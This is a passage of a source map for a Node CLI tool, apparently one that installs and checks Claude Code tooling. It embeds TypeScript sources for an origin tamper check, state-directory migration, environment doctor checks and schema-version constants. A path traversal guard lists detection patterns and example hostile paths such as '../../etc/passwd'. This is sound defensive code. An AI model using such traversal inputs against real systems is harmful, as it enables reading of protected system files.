E,0BAAA,EAA4B,EAAE,IAAA,EAAM,cAAc,CAAA;AAAA,QAC7D,YAAA,EAAc;AAAA,OACf,CAAA;AACD,MAAA,IAAMA,CAAA,CAAA,QAAA,CAAS,MAAM,CAAA,IAAK,MAAA,KAAW,KAAA,EAAO;AAC1C,QAAA,OAAA,CAAQ,KAAA,CAAM,CAAA,CAAE,qBAAqB,CAAC,CAAA;AACtC,QAAA,OAAA,CAAQ,KAAK,CAAC,CAAA;AAAA,MAChB;AAAA,IACF;AAEA,IAAA,MAAM,OAAO,EAAE,KAAA,EAAO,IAAA,EAAM,MAAA,EAAQ,OAAO,GAAA,EAAI;AAC/C,IAAA,MAAM,MAAA,GAAS,MAAM,YAAA,CAAa,CAAA,CAAE,UAAU,IAAI,CAAA;AAElD,IAAA,IAAI,aAAa,MAAA,EAAQ;AACvB,MAAA,OAAA,CAAQ,KAAA,CAAM,EAAE,iBAAA,EAAmB,EAAE,QAAQ,MAAA,CAAO,MAAA,EAAQ,CAAC,CAAA;AAC7D,MAAA,OAAA,CAAQ,KAAK,CAAC,CAAA;AAAA,IAChB;AACA,IAAA,IAAI,OAAO,EAAA,EAAI;AACb,MAAA,OAAA,CAAQ,IAAI,CAAA,CAAE,qBAAA,EAAuB,EAAE,IAAA,EAAM,YAAA,EAAc,CAAC,CAAA;AAC5D,MAAA,OAAA,CAAQ,KAAK,CAAC,CAAA;AAAA,IAChB;AACA,IAAA,OAAA,CAAQ,KAAA,CAAM,CAAA,OAAA,EAAU,MAAA,CAAO,KAAK,CAAA,CAAE,CAAA;AACtC,IAAA,OAAA,CAAQ,KAAK,CAAC,CAAA;AAAA,EAChB,CAAC,CAAA;AACL;;;AUvGA,kBAAA,EAAA;AAIA,0BAAA,EAA2B;AAO3B,IAAM,OAAO,OAAA,CAAQ,IAAA;AACrB,KAAA,IAAS,CAAA,GAAI,CAAA,EAAG,CAAA,GAAI,IAAA,CAAK,QAAQ,CAAA,EAAA,EAAK;AACpC,EAAA,MAAM,CAAA,GAAI,KAAK,CAAC,CAAA;AAChB,EAAA,IAAI,CAAA,KAAM,QAAA,IAAY,CAAA,GAAI,CAAA,GAAI,KAAK,MAAA,EAAQ;AACzC,IAAA,SAAA,CAAU,IAAA,CAAK,CAAA,GAAI,CAAC,CAAC,CAAA;AACrB,IAAA;AAAA,EACF;AACA,EAAA,IAAI,CAAA,EAAG,UAAA,CAAW,SAAS,CAAA,EAAG;AAC5B,IAAA,SAAA,CAAU,CAAA,CAAE,KAAA,CAAM,SAAA,CAAU,MAAM,CAAC,CAAA;AACnC,IAAA;AAAA,EACF;AACF;AAEA,IAAM,OAAA,GAAU,IAAI,OAAA,EAAQ;AAE5B,OAAA,CACG,IAAA,CAAK,WAAW,CAAA,CAChB,WAAA,CAAY,8DAA8D,CAAA,CAC1E,OAAA,CAAQ,eAAA,CAAI,OAAO,CAAA,CACnB,MAAA,CAAO,eAAA,EAAiB,oEAAoE,CAAA;AAM/F,eAAA,CAAgB,OAAO,CAAA;AACvB,mBAAA,CAAoB,OAAO,CAAA;AAC3B,gBAAA,CAAiB,OAAO,CAAA;AACxB,mBAAA,CAAoB,OAAO,CAAA;AAC3B,mBAAA,CAAoB,OAAO,CAAA;AAC3B,cAAA,CAAe,OAAO,CAAA;AACtB,aAAA,CAAc,OAAO,CAAA;AACrB,gBAAA,CAAiB,OAAO,CAAA;AACxB,gBAAA,CAAiB,OAAO,CAAA;AACxB,cAAA,CAAe,OAAO,CAAA;AACtB,kBAAA,CAAmB,OAAO,CAAA;AAC1B,UAAA,CAAW,OAAO,CAAA;AAClB,cAAA,CAAe,OAAO,CAAA;AACtB,iBAAA,CAAkB,OAAO,CAAA;AACzB,aAAA,CAAc,OAAO,CAAA;AACrB,WAAA,CAAY,OAAO,CAAA;AAEnB,OAAA,CAAQ,KAAA,CAAM,QAAQ,IAAI,CAAA","file":"cli.mjs","sourcesContent":["// Phase 2.4 W1 T1.1 — sister-share helper for doctor #5 (warn mode) +\n// audit (hard-fail mode allowFork=false). Karpathy hard limit ≤80L per B-38.\n// Source: RESEARCH § 1.2.5 + § 4.1.1 + D2.4-3.\nimport { spawnSync } from 'node:child_process'\nimport { readFileSync } from 'node:fs'\nimport { join } from 'node:path'\n\nexport interface OriginCheckResult {\n status: 'pass' | 'warn' | 'fail'\n detail: string\n fix?: string\n}\n\nexport interface OriginCheckOptions {\n /** true = doctor (warn on drift — fork 合法), false = audit (fail on drift — tamper) */\n allowFork?: boolean\n}\n\n/** Normalize a git remote URL — strip protocol prefix, trailing .git, ssh `:` → `/`. */\nfunction normalizeUrl(s: string): string {\n return s\n .trim()\n .replace(/^(https?:\\/\\/|git@github\\.com:|ssh:\\/\\/git@github\\.com\\/)/, '')\n .replace(/\\.git$/, '')\n .replace(':', '/')\n .replace(/\\/$/, '')\n .toLowerCase()\n}\n\n/**\n * Verify `git remote get-url origin` matches expected URL from `package.json#repository.url`.\n * doctor uses allowFork=true (warn); audit uses allowFork=false (fail).\n */\nexport function checkOrigin(\n cwd: string = process.cwd(),\n opts: OriginCheckOptions = {},\n): OriginCheckResult {\n const allowFork = opts.allowFork ?? true\n // 1. Read expected URL from package.json `repository.url` SSOT.\n let expected: string | null = null\n try {\n const pkg = JSON.parse(readFileSync(join(cwd, 'package.json'), 'utf8')) as {\n repository?: string | { url?: string }\n }\n expected = typeof pkg.repository === 'string' ? pkg.repository : (pkg.repository?.url ?? null)\n } catch {\n // package.json missing 是合法 case (npm 全局装 / detached run).\n }\n if (!expected) {\n return {\n status: 'warn',\n detail: 'package.json has no repository.url field',\n fix: 'add `repository` field to package.json',\n }\n }\n // 2. Read actual git remote origin URL.\n const r = spawnSync('git', ['config', '--get', 'remote.origin.url'], {\n cwd,\n encoding: 'utf8',\n })\n if (r.status !== 0) {\n return {\n status: 'warn',\n detail: 'no git remote origin (detached / non-clone)',\n fix: 'git remote add origin <expected-url>',\n }\n }\n const actual = r.stdout.trim()\n if (normalizeUrl(actual) === normalizeUrl(expected)) {\n return { status: 'pass', detail: actual }\n }\n // 4. Drift: warn for doctor (fork 合法), fail for audit (tamper detection).\n return {\n status: allowFork ? 'warn' : 'fail',\n detail: `origin '${actual}' ≠ expected '${expected}'`,\n fix: allowFork\n ? 'verify intentional fork; if not, `git remote set-url origin <expected>`'\n : 'origin URL drift — possible tamper, `git remote set-url origin <expected>` to restore',\n }\n}\n","// v3.0.3 hotfix — Claude-Code-co-located state/checkpoint/audit/lock/governance roots.\n//\n// Problem: pre-v3.0.3 the harness rooted ALL of its own state directories at\n// `process.cwd()` via the literal path `.harnessed/...`. When a user launches\n// `harnessed setup` from a read-only CWD (e.g. Warp terminal default\n// `C:\\Program Files\\Warp\\`) the very first mkdir call inside a successful\n// install path (`updateInstalled` → write `<cwd>/.harnessed/state.json`)\n// throws `EPERM: operation not permitted, mkdir 'C:\\Program Files\\Warp\\.harnessed'`,\n// surfacing in the Step B parallel batch as the anonymous `[B] failed ?:` line\n// (Promise.allSettled rejection → fallback to `name: '?'`).\n//\n// Historical context:\n// - v2.0.1 already migrated `.harnessed-backup/` → `~/.harnessed/backups/`\n// via `getBackupRoot()` in `backup.ts` (sister pattern, single SoT).\n// - v3.0.2 added `getMcpSpawnCwd()` for the MCP-install spawn cwd surface.\n// - v3.0.3 generalises the migration to the **rest** of the harness-owned\n// state directories (state.json + checkpoints/ + current-workflow.json +\n// .lock + audit.log + governance.json + archive/) AND co-locates the\n// entire root under `~/.claude/harnessed/` next to `~/.claude/skills/`\n// and `~/.claude.json` — the user's Claude Code state directory is the\n// natural neighbor for the harness's Claude-Code-managing state.\n//\n// Solution: `getHarnessedRoot()` returns `homedir()/.claude/harnessed`\n// unconditionally (sister `getBackupRoot()` v2.0.1 posture). All callers\n// compose their subdir via `harnessedSubdir(name)` so the SoT is honored.\n//\n// Auto-migration: `migrateLegacyHarnessedRoot()` detects pre-v3.0.3\n// `~/.harnessed/` (v2.0.1+ users with existing backups) and renames it\n// atomically to `~/.claude/harnessed/`. Called lazily on first\n// `getHarnessedRoot()` use so any harnessed CLI command triggers the move\n// without requiring a re-run of `harnessed setup`.\n//\n// Why unconditional (no probe + fallback)? Symmetric with v2.0.1 + v3.0.2 —\n// homedir is reliably writable on Win/Mac/Linux; falling back to ctx.cwd\n// re-introduces the EPERM bug we are fixing. `~/.claude/` is already created\n// by Claude Code itself when the user installs CC, so the parent always exists.\n\nimport { existsSync, mkdirSync, renameSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\n/**\n * Return the homedir-rooted harness state root, co-located under Claude Code's\n * state directory.\n *\n * Sister: `src/installers/lib/backup.ts:32` `getBackupRoot()` v2.0.1 and\n * `src/installers/lib/safeCwd.ts` `getMcpSpawnCwd()` v3.0.2 — same unconditional\n * homedir posture.\n *\n * Returns absolute path `<homedir>/.claude/harnessed`. Callers should use\n * `harnessedSubdir(name)` for nested directories rather than `join` directly,\n * to keep all path composition routed through the single SoT.\n *\n * Pure path composition — no filesystem side effects. Legacy directory\n * migration is performed explicitly by CLI entry points via\n * `migrateLegacyHarnessedRoot()` (called from `src/cli.ts` before any\n * subcommand runs), keeping unit tests free of fs side-effects.\n *\n * Test isolation: if `HARNESSED_ROOT_OVERRIDE` is set, return that value\n * verbatim. This is the supported mechanism for e2e tests to redirect the\n * harness root into a per-test tmpdir without polluting the real user home\n * directory. Production code never sets this env var; the override has no\n * effect on real CLI invocations.\n */\nexport function getHarnessedRoot(): string {\n const override = process.env.HARNESSED_ROOT_OVERRIDE\n if (override !== undefined && override !== '') return override\n return join(homedir(), '.claude', 'harnessed')\n}\n\n/**\n * Compose a subdirectory under the harness root. Convenience over\n * `join(getHarnessedRoot(), name)` so callers do not have to import `path`.\n *\n * Example: `harnessedSubdir('checkpoints')` →\n * `<homedir>/.claude/harnessed/checkpoints`.\n */\nexport function harnessedSubdir(name: string): string {\n return join(getHarnessedRoot(), name)\n}\n\n/**\n * Compose a file path under the harness root.\n *\n * Example: `harnessedFile('state.json')` →\n * `<homedir>/.claude/harnessed/state.json`.\n */\nexport function harnessedFile(name: string): string {\n return join(getHarnessedRoot(), name)\n}\n\n/**\n * Migrate the legacy `~/.harnessed/` directory (created by v2.0.1+ for\n * `backups/` and by v3.0.2 for state surfaces) to the new co-located\n * `~/.claude/harnessed/` location.\n *\n * Four cases:\n * 1. Only legacy exists → atomic rename to new path.\n * 2. Only new exists → no-op (already migrated or fresh install).\n * 3. Both exist → rename legacy to `~/.harnessed.legacy-bak/`\n * and emit a stderr warning. Preserves user data;\n * avoids data loss from a clobbering merge.\n * 4. Neither exists → no-op (fresh install).\n *\n * Sync API (renameSync) because this runs once at startup and we want the\n * harnessed root to be in its final location before any other helper composes\n * a path against it. The performance cost of a single rename is negligible.\n *\n * No catch-and-swallow: filesystem errors propagate to the caller so the\n * harness fails loudly rather than silently writing to the wrong location.\n * Idempotency is preserved by the `migrationAttempted` guard above + by\n * checking the legacy-bak sentinel before renaming a second time.\n */\nexport function migrateLegacyHarnessedRoot(): void {\n const legacyRoot = join(homedir(), '.harnessed')\n const newRoot = join(homedir(), '.claude', 'harnessed')\n const claudeParent = join(homedir(), '.claude')\n\n if (!existsSync(legacyRoot)) return // cases 2 + 4: nothing to do\n\n if (!existsSync(newRoot)) {\n // Case 1: clean migration.\n mkdirSync(claudeParent, { recursive: true })\n renameSync(legacyRoot, newRoot)\n console.error(\n `[harnessed] migrated legacy state directory ${legacyRoot} → ${newRoot} (v3.0.3 path change)`,\n )\n return\n }\n\n // Case 3: both exist — preserve legacy under a sibling bak path. If the\n // bak path already exists, a prior run already did the rescue + the legacy\n // path is somehow back; surface that clearly rather than overwriting.\n const safetyBak = join(homedir(), '.harnessed.legacy-bak')\n if (existsSync(safetyBak)) {\n console.error(\n `[harnessed] WARN: ${legacyRoot} reappeared after a prior migration (existing bak at ${safetyBak}); leaving in place — inspect manually if needed`,\n )\n return\n }\n renameSync(legacyRoot, safetyBak)\n console.error(\n `[harnessed] both ${legacyRoot} and ${newRoot} existed — legacy directory preserved at ${safetyBak} (review manually if you need data from it; v3.0.3 path change)`,\n )\n}\n","// v3.7.0 Phase 1 — built-in doctor checks hoisted from src/cli/doctor.ts.\n// Sister `check-planning-with-files.ts` / `check-agent-teams-doctor.ts` helper\n// pattern keeps each check ≤80L and lets doctor.ts itself stay a thin dispatcher\n// (≤100L) — true to B-03 ≤225L hard limit without 12.5% tolerance exception.\n//\n// 4 built-in checks moved here verbatim:\n// - checkNodeVersion (sync, Node ≥22 hard requirement)\n// - checkMcpScope (async, ADR 0004 § 5 project-scope MCP enforcement)\n// - checkJq (sync, jq CLI presence + platform install hint)\n// - checkWinBash (sync, WSL bash detection + ralph-loop fork bug guard)\n\nimport { spawnSync } from 'node:child_process'\nimport { readFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\nexport interface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n /** v3.9.1 — structured install command sequence consumed by auto-install\n * dispatcher. Each entry is a single shell command tokenized for spawnSync\n * (first token = exe, rest = argv). Multiple entries run sequentially;\n * any non-zero exit aborts the chain. Distinct from `fix` (free-text\n * human-readable hint) — `install_commands` is machine-executable. */\n install_commands?: readonly string[]\n}\n\nexport function checkNodeVersion(): CheckResult {\n const v = process.versions.node\n const major = Number.parseInt(v.split('.')[0] ?? '0', 10)\n return major >= 22\n ? { name: 'node ≥ 22', status: 'pass', message: `node ${v}` }\n : {\n name: 'node ≥ 22',\n status: 'fail',\n message: `node ${v} (need ≥ 22)`,\n fix: 'nvm install 22 && nvm use 22',\n }\n}\n\nexport async function checkMcpScope(): Promise<CheckResult> {\n // ADR 0004 § 5: MCP servers must be installed at project scope (.mcp.json),\n // never at user scope (~/.claude.json mcpServers block) — CC #54803.\n const projectMcp = join(process.cwd(), '.mcp.json')\n const userClaude = join(homedir(), '.claude.json')\n\n let projectExists = false\n try {\n await readFile(projectMcp, 'utf8')\n projectExists = true\n } catch {\n // .mcp.json absence is fine if no MCP servers are installed yet — only an issue\n // if the user has them at user scope instead.\n }\n\n let userHasMcp = false\n try {\n const raw = await readFile(userClaude, 'utf8')\n const parsed = JSON.parse(raw) as { mcpServers?: Record<string, unknown> }\n userHasMcp = !!parsed.mcpServers && Object.keys(parsed.mcpServers).length > 0\n } catch {\n // ENOENT or malformed JSON — treat as no user-scope MCP servers, OK.\n }\n\n if (userHasMcp) {\n return {\n name: 'mcp scope = project',\n status: 'fail',\n message: `~/.claude.json has user-scope mcpServers (CC #54803 risk)`,\n fix: 'remove user-scope entries; re-add via `claude mcp add --scope project ...`',\n }\n }\n return {\n name: 'mcp scope = project',\n status: 'pass',\n message: projectExists ? 'project .mcp.json present' : 'no MCP servers installed',\n }\n}\n\nexport function checkJq(): CheckResult {\n const finder = process.platform === 'win32' ? 'where' : 'which'\n const r = spawnSync(finder, ['jq'], { encoding: 'utf8' })\n if (r.status === 0 && r.stdout.trim().length > 0) {\n return {\n name: 'jq present',\n status: 'pass',\n message: r.stdout.split(/\\r?\\n/)[0]?.trim() ?? 'jq found',\n }\n }\n const fix =\n process.platform === 'win32'\n ? 'winget install jqlang.jq (or: scoop install jq)'\n : process.platform === 'darwin'\n ? 'brew install jq'\n : 'apt-get install jq (or: dnf install jq)'\n return { name: 'jq present', status: 'fail', message: 'jq not found in PATH', fix }\n}\n\nexport function checkWinBash(): CheckResult {\n // Only meaningful on Windows; on Unix we report skipped-OK.\n if (process.platform !== 'win32') {\n return { name: 'bash flavor (win)', status: 'pass', message: 'skipped (non-Windows)' }\n }\n // Step 1: locate the `bash` that PATH would resolve.\n const where = spawnSync('where', ['bash'], { encoding: 'utf8' })\n const firstBash = (where.stdout ?? '').split(/\\r?\\n/)[0]?.trim() ?? '(not found)'\n if (where.status !== 0 || !firstBash || firstBash === '(not found)') {\n return {\n name: 'bash flavor (win)',\n status: 'fail',\n message: 'no bash on PATH',\n fix: 'install Git for Windows (Git Bash) and ensure it is on PATH',\n }\n }\n // Step 2: WSL probe — non-empty WSL_DISTRO_NAME = WSL bash, ralph-loop fork bug risk.\n const probe = spawnSync('bash', ['-c', 'echo $WSL_DISTRO_NAME'], { encoding: 'utf8' })\n const distro = (probe.stdout ?? '').trim()\n if (distro.length > 0) {\n return {\n name: 'bash flavor (win)',\n status: 'fail',\n message: `WSL bash (${distro}) — ralph-loop subagent fork breaks under WSL`,\n fix: 'reorder PATH so Git Bash precedes WSL bash.exe (Settings → System → Environment Variables)',\n }\n }\n return { name: 'bash flavor (win)', status: 'pass', message: `${firstBash} (Git Bash / native)` }\n}\n","// src/cli/lib/probe-gstack.ts — Phase 3.2 W1 T1.4 — D-01 PROBE PRIMARY helper\n// (sister Phase 2.4 W3 origin-check.ts sister-share extract pattern for Karpathy\n// ≤200L 守门 — keeps doctor.ts ≤200L). Probes 4 outcome branches: gstack-only\n// (pass) / bare-only (pass) / both (ambiguous, fail+fix) / neither (fail+install).\n// Win shell flavor sister doctor.ts L80 checkJq pattern (process.platform switch).\nimport { spawnSync } from 'node:child_process'\n\nexport type GstackPrefix = 'gstack-' | ''\n\nexport interface ProbeResult {\n status: 'pass' | 'fail'\n prefix?: GstackPrefix\n detail: string\n fix?: string\n}\n\nfunction probeOne(cmd: string): boolean {\n // sister doctor.ts L80 checkJq pattern: Node spawnSync 不继承 shell context,\n // 跨 Win-shell 唯一稳路径 (RESEARCH § 1.2 verified).\n const finder = process.platform === 'win32' ? 'where' : 'which'\n const r = spawnSync(finder, [cmd], { encoding: 'utf8' })\n return r.status === 0 && (r.stdout?.trim().length ?? 0) > 0\n}\n\n/** Probe PATH for gstack command prefix. 4 outcome branches per D-01 LOCKED\n * (RESEARCH § 1.4 message table verbatim — Karpathy fail-loud discipline). */\nexport function probeGstackPrefix(): ProbeResult {\n const hasGstack = probeOne('gstack-office-hours')\n const hasBare = probeOne('office-hours')\n if (hasGstack && !hasBare) {\n return { status: 'pass', prefix: 'gstack-', detail: 'gstack-office-hours found' }\n }\n if (!hasGstack && hasBare) {\n return { status: 'pass', prefix: '', detail: 'office-hours found (--no-prefix mode)' }\n }\n if (hasGstack && hasBare) {\n return {\n status: 'fail',\n detail: 'both gstack-office-hours AND office-hours found — ambiguous',\n fix: 'edit .harnessed/config.json manually: \\'{\"gstack_prefix\":\"gstack-\"}\\' OR \\'{\"gstack_prefix\":\"\"}\\'',\n }\n }\n return {\n status: 'fail',\n detail: 'neither gstack-office-hours nor office-hours found in PATH',\n fix: 'install gstack: `npm i -g @gstack/cli` (or your preferred install method)',\n }\n}\n","// Phase 5.2 W2 T2.1 — R10.4 path traversal guard (D-03 + D-08).\n// Sister: src/cli/audit-log.ts REDACT_PATTERNS module-level pre-compile pattern.\n// Pre-compile at module load (NOT inside guardPath — per PLAN sneak-block +\n// RESEARCH § 3.1 Pitfall 4: do NOT use inside hot loop).\n// D-08: PathTraversalError message generic — NOT echo user input (CSO veto).\n// Karpathy hard limit ≤200L.\n\n// D-03 LOCKED: 5 OWASP A1 path traversal vectors (CONTEXT.md D-03 L66-71).\nconst PATH_TRAVERSAL_PATTERNS: RegExp[] = [\n /\\.\\.\\//, // (1) Unix dot-dot-slash: ../../etc/passwd\n /\\.\\.\\\\/, // (2) Windows backslash: ..\\windows\\system32\n // biome-ignore lint/suspicious/noControlCharactersInRegex: intentional null-byte injection detection (R10.4 D-03 OWASP A1 vector 3)\n /\\x00/, // (3) Null byte injection: path\\x00attack\n /%2[eE]%2[eE]/, // (4) URL-encoded dot-dot: %2e%2e%2fetc\n /%25[2][eE]%25[2][eE]/, // (5) Double-encoded: %252e%252e%252f\n]\n\n/** D-08: generic message — NOT echo back user input (attack reconnaissance leakage CSO veto). */\nexport class PathTraversalError extends Error {\n constructor() {\n super('path traversal attempt detected')\n this.name = 'PathTraversalError'\n Object.setPrototypeOf(this, PathTraversalError.prototype)\n }\n}\n\n/**\n * Guard a user-supplied path/name against the 5 OWASP A1 traversal vectors.\n * Throws PathTraversalError on first match.\n * Safe: does NOT include user input in error message (D-08).\n * Call at CLI entry points only — NOT inside loops (RESEARCH § Pitfall 4).\n */\nexport function checkPathSafe(input: string): void {\n for (const re of PATH_TRAVERSAL_PATTERNS) {\n if (re.test(input)) throw new PathTraversalError()\n }\n}\n","// Phase 2.2 Wave 2 T2.0 — schemaVersion 7-surface infrastructure (CD-5).\n// ADR 0011 errata — schemaVersion convention (phase 2.2 W2 — F4 / D-16 / B-32).\n//\n// IMPL NOTE — implements `.planning/intel/omc-comparison.md` § CD-5 (single\n// 兼容门 ⭐⭐⭐ ECC pattern, 纯学不 vendor). Naming convention\n// `harnessed.<surface>.v<N>` covers 18 schema-producing surfaces. Three consumer\n// rules (documented as JSDoc on each export below):\n// (a) consumers MUST branch on `schemaVersion` (use `branchOnSchemaVersion`)\n// (b) unknown `schemaVersion` values gracefully degrade (treated as `unknown`\n// bucket — adapter-specific strings are legal, never throw)\n// (c) new fields MUST be added nested (never top-level on existing surface)\n//\n// The 18 surfaces are the schema-producing artifacts:\n// - routing-snapshot : routing engine arbitrate output snapshot\n// - handoff-doc : phase → phase handoff document\n// - phases-yaml : workflows/execute-task/phases.yaml\n// - manifest-state : .harnessed/state/manifest.json\n// - installer-state : .harnessed/state/installer.json\n// - route-decision-log : routing decision audit log\n// - checkpoint : execute-task workflow checkpoint envelope\n// - current-workflow : workflow state machine (active / paused / complete) ← Phase 3.1 W1 T1.1 ADD (8th surface, D-02 KARPATHY 3-state lock)\n// - config : .harnessed/config.json (gstack_prefix store) ← Phase 3.2 W1 T1.1 ADD (9th surface, D-01 PROBE)\n// - governance : .harnessed/governance.json (gstack veto status) ← Phase 3.2 W1 T1.1 ADD (10th surface, D-04 PUSH)\n// - plan-feature : src/workflow/schema/planFeature.ts ← Phase 3.3 W0 T0.5 BACKFILL (11th surface)\n// - aliases : manifests/aliases.yaml ← Phase 3.3 W1 T1.1 ADD (12th surface, D-01 RICH)\n// - known-good : versions/<harnessed-ver>-known-good.yaml ← Phase 3.3 W1 T1.1 ADD (13th surface, D-03 YAML manifest)\n// - capabilities : workflows/capabilities.yaml ← Phase v2.0-2.3 W0 ADD 14th surface (R20.2 flat yaml capabilities manifest validate)\n// - judgment : workflows/judgments/*.yaml ← Phase v2.0-2.3 W0 ADD 15th surface (R20.4 multi-file judgments validate)\n// - workflow : workflows/<sub>/workflow.yaml v2 ← Phase v2.0-2.4 W0 ADD 16th surface (R20.1+R20.2+R20.9)\n// - workflow_v3 : workflows/<stage>/<sub>/workflow.yaml v3 ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 17th surface (D-09 disciplines_applied + D-05 tools_available + master delegates_to)\n// - discipline : workflows/disciplines/*.yaml ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 18th surface (D-09 L0 Discipline Substrate)\n//\n// TypeBox is the established schema lib (sister of `src/manifest/schema/spec.ts`).\n\nimport { type Static, Type } from '@sinclair/typebox'\n\n/** SchemaVersion template literal — `harnessed.<surface>.v<N>`. Each producer\n * declares its surface name once via `SCHEMA_VERSIONS` below and references it\n * through this type, so a string literal drift is a compile error.\n * Default is `.v1`; v2 entry sister: `SchemaVersionV2<S>` for explicit v2 surfaces;\n * v3 entry sister: `SchemaVersionV3<S>` for explicit v3 surfaces. */\nexport type SchemaVersion<S extends string> = `harnessed.${S}.v1`\nexport type SchemaVersionV2<S extends string> = `harnessed.${S}.v2`\nexport type SchemaVersionV3<S extends string> = `harnessed.${S}.v3`\n\n/** Single source of truth for the 18 surface names (B-32 / D-16). Producers MUST\n * import from this const — direct string literals fail the Wave 2 grep\n * acceptance (≥ 18 `harnessed.\\w+.v\\d` references in src/types/*.ts). */\nexport const SCHEMA_VERSIONS = {\n routingSnapshot: 'harnessed.routing-snapshot.v1',\n handoffDoc: 'harnessed.handoff-doc.v1',\n phasesYaml: 'harnessed.phases-yaml.v1',\n manifestState: 'harnessed.manifest-state.v1',\n installerState: 'harnessed.installer-state.v1',\n routeDecisionLog: 'harnessed.route-decision-log.v1',\n checkpoint: 'harnessed.checkpoint.v1',\n currentWorkflow: 'harnessed.current-workflow.v1', // ← Phase 3.1 W1 T1.1 ADD 8th surface (D-02 KARPATHY 3-state)\n config: 'harnessed.config.v1', // ← Phase 3.2 W1 T1.1 ADD 9th surface (D-01 PROBE gstack_prefix store)\n governance: 'harnessed.governance.v1', // ← Phase 3.2 W1 T1.1 ADD 10th surface (D-04 PUSH veto status)\n planFeature: 'harnessed.plan-feature.v1', // ← Phase 3.3 W0 T0.5 BACKFILL 11th surface\n aliases: 'harnessed.aliases.v1', // ← Phase 3.3 W1 T1.1 ADD 12th surface (D-01 RICH)\n knownGood: 'harnessed.known-good.v1', // ← Phase 3.3 W1 T1.1 ADD 13th surface (D-03 YAML manifest)\n capabilities: 'harnessed.capabilities.v1', // ← Phase v2.0-2.3 W0 ADD 14th surface (R20.2 flat yaml capabilities manifest validate)\n judgment: 'harnessed.judgment.v1', // ← Phase v2.0-2.3 W0 ADD 15th surface (R20.4 multi-file judgments validate)\n workflow: 'harnessed.workflow.v2', // ← Phase v2.0-2.4 W0 T2.4.W0.1 ADD 16th surface (R20.1+R20.2+R20.9 workflow.yaml v2)\n workflow_v3: 'harnessed.workflow.v3', // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 17th surface (D-09 disciplines_applied + D-05 tools_available + master delegates_to per Pattern A B.1 LOCK)\n discipline: 'harnessed.discipline.v1', // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 18th surface (D-09 L0 Discipline Substrate, sister judgment.v1 multi-file pattern)\n} as const\n\n/** TypeBox literal union — useful as a refinement on a `schemaVersion` field\n * inside any surface schema (e.g. `schemaVersion: SchemaVersionLiteral`). */\nexport const SchemaVersionLiteral = Type.Union([\n Type.Literal(SCHEMA_VERSIONS.routingSnapshot),\n Type.Literal(SCHEMA_VERSIONS.handoffDoc),\n Type.Literal(SCHEMA_VERSIONS.phasesYaml),\n Type.Literal(SCHEMA_VERSIONS.manifestState),\n Type.Literal(SCHEMA_VERSIONS.installerState),\n Type.Literal(SCHEMA_VERSIONS.routeDecisionLog),\n Type.Literal(SCHEMA_VERSIONS.checkpoint),\n Type.Literal(SCHEMA_VERSIONS.currentWorkflow), // ← Phase 3.1 W1 T1.1 ADD 8th surface\n Type.Literal(SCHEMA_VERSIONS.config), // ← Phase 3.2 W1 T1.1 ADD 9th surface\n Type.Literal(SCHEMA_VERSIONS.governance), // ← Phase 3.2 W1 T1.1 ADD 10th surface\n Type.Literal(SCHEMA_VERSIONS.planFeature), // ← Phase 3.3 W0 T0.5 BACKFILL 11th surface\n Type.Literal(SCHEMA_VERSIONS.aliases), // ← Phase 3.3 W1 T1.1 ADD 12th surface\n Type.Literal(SCHEMA_VERSIONS.knownGood), // ← Phase 3.3 W1 T1.1 ADD 13th surface\n Type.Literal(SCHEMA_VERSIONS.capabilities), // ← Phase v2.0-2.3 W0 ADD 14th surface\n Type.Literal(SCHEMA_VERSIONS.judgment), // ← Phase v2.0-2.3 W0 ADD 15th surface\n Type.Literal(SCHEMA_VERSIONS.workflow), // ← Phase v2.0-2.4 W0 T2.4.W0.1 ADD 16th surface (first .v2 in union)\n Type.Literal(SCHEMA_VERSIONS.workflow_v3), // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 17th surface (first .v3 in union)\n Type.Literal(SCHEMA_VERSIONS.discipline), // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 18th surface\n])\n\nexport type SchemaVersionLiteralType = Static<typeof SchemaVersionLiteral>\n\n/** Consumer branch helper — rule (a) consumer MUST branch on `schemaVersion`;\n * rule (b) unknown values gracefully degrade to the `unknown` handler. The\n * handler-shape encodes the contract so the type system enforces it.\n *\n * Phase v3.0-3.3 NOTE: `workflow.v3` and `discipline.v1` are the latest\n * surfaces. The v1 handler accepts any *known* surface regardless of version\n * suffix — consumers of v2/v3-only surfaces must check the literal explicitly\n * (the schema_version field is also Type.Literal-constrained at schema-level,\n * so structural drift fails earlier). */\nexport function branchOnSchemaVersion<T>(\n v: string,\n handlers: { v1: () => T; unknown: () => T },\n): T {\n // Any string matching a registered SCHEMA_VERSIONS value (v1, v2, or v3) routes\n // to the v1 handler — the legacy name reflects rule (a) \"known surface\" semantics.\n const isKnownVersion = (Object.values(SCHEMA_VERSIONS) as readonly string[]).includes(v)\n return isKnownVersion ? handlers.v1() : handlers.unknown()\n}\n","// src/manifest/schema/aliases.v1.ts — Phase 3.3 W1 T1.2 (D-01 RICH 12th surface).\n// Sister Phase 3.2 W1 T1.3 (governance.ts TypeBox shape direct analog).\n// RICH schema rejected FLAT (失 metadata) + TIERED (Karpathy YAGNI violation).\n// Manifest-domain colocation: src/manifest/schema/ (sister spec.ts + metadata.ts\n// existing manifest-domain schemas). Per W0.3 decision doc colocation rule.\n// ISO-date `pattern` NOT `format: 'date'` (Phase 3.2 W2 Rule 1 lesson:\n// FormatRegistry.Set not registered project-wide; `pattern` is zero-config\n// equivalent + sister governance.ts vetoed_at pattern precedent).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nexport const AliasEntryV1 = Type.Object(\n {\n redirect: Type.String({ minLength: 1 }),\n reason: Type.String({ minLength: 1, maxLength: 500 }), // DOS cap sister governance.ts\n since_version: Type.String({ pattern: '^\\\\d+\\\\.\\\\d+\\\\.\\\\d+$' }), // semver strict\n deprecation_date: Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' }), // ISO-date Phase 3.2 W2 Rule 1\n removal_date: Type.Optional(Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' })), // 